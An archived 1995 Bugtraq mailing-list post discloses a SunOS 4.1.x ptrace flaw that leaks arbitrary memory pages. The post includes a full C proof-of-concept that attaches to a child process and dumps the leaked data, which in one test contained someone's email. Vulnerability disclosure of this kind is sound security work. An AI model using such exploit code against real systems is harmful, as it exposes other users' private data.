[2125] in bugtraq
SunOS 4.1.x ptrace flaw
daemon@ATHENA.MIT.EDU (Bonfield James)
Thu Aug 17 19:00:11 1995
Date: Thu, 17 Aug 1995 15:15:36 +0100
Reply-To: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
From: Bonfield James <jkb@mrc-lmb.cam.ac.uk>
X-To: bugtraq@CRIMELAB.COM
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM>
Hello,
There's a flaw in SunOS 4 ptrace that I've known about for some time, but
haven't previously posted to this list. Cert and Sun were told yonks ago, but
you know how these things are... I got fed up of sitting on it; and I
wouldn't rate this as a big problem.
The bug is very minor due to the lack of control, but potentially major (if
you strike lucky). Basically, the ptrace READDIR call for address 0 fails with
EIO, but still fills the supplied buffer with the requested data. This data,
being address 0 - pagesize-1 of a process appears to be random data. This data
may include anything. Indeed the first time I ran this I ended up with part of
someone's email. I can't see a clear way to control which data you get.
Also, further tests appear to show that this first page is owned by your own
process. I managed to show this by writing a program that malloced a large
amount of data, filled it with the letter A, and then looped around forever
looking for non A's.
Using a modifed copy of the program below, I then read and displayed page 0
(all A), wrote a page of B's to page 0, cleared my buffer, read and displayed
page 0 again (all B). This implies that a write was succesful. However, the
other process did not detect any A's being translated to B's, so I assume some
copy-on-write scheme was used to make a new memory page to store the B's in.
I've no idea whether this bug exists under Solaris; the program below will
fail under it, but for other reasons. I'm not even sure whether it's been
fixed in the newer SunOS 4 releases. Could people please confirm whether it's
still there?
Enjoy,
James
/*
* Ptrace bug demonstration.
* Written by James Bonfield (jkb@mrc-lmb.cam.ac.uk), 1991.
*/
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <errno.h>
#include <signal.h>
#define BSIZE 8192
main() {
int pid, wstat,i,j;
char buf[BSIZE];
switch(pid=fork()) {
case -1:
perror("fork");
exit(1);
case 0:
/* child stops and simply lets parent do what it pleases to it */
/* Suprisingly well behaved :-) */
pause();
}
/* parent now attaches to the child */
if (ptrace(PTRACE_ATTACH,pid,0,0,0) == -1) {
perror("ptrace attach");
exit(1);
} else {
puts("Attached successfully");
}
while(wait(&wstat) != pid);
/* and grunches through it's memory (snoopy parent!) */
/* we clear our buffer first just to make sure we get the data from */
/* the ptrace() call */
for (i=0; i<BSIZE; i++)
buf[i]=0;
if (ptrace(PTRACE_READDATA,pid,0,BSIZE,buf) == -1) {
fprintf(stderr,"\nREADDATA failed - error = %d\n",errno);
perror("ptrace");
}
write(1,buf,BSIZE);
/* relinquish our snoops on the poor child */
if (ptrace(PTRACE_DETACH,pid,(int *)1,0,0) == -1) {
puts("Failed to detach");
exit(1);
} else
puts("Detached successfully");
/* but we're not exactly feeling very kind to it are we? */
kill(pid,SIGHUP);
return;
}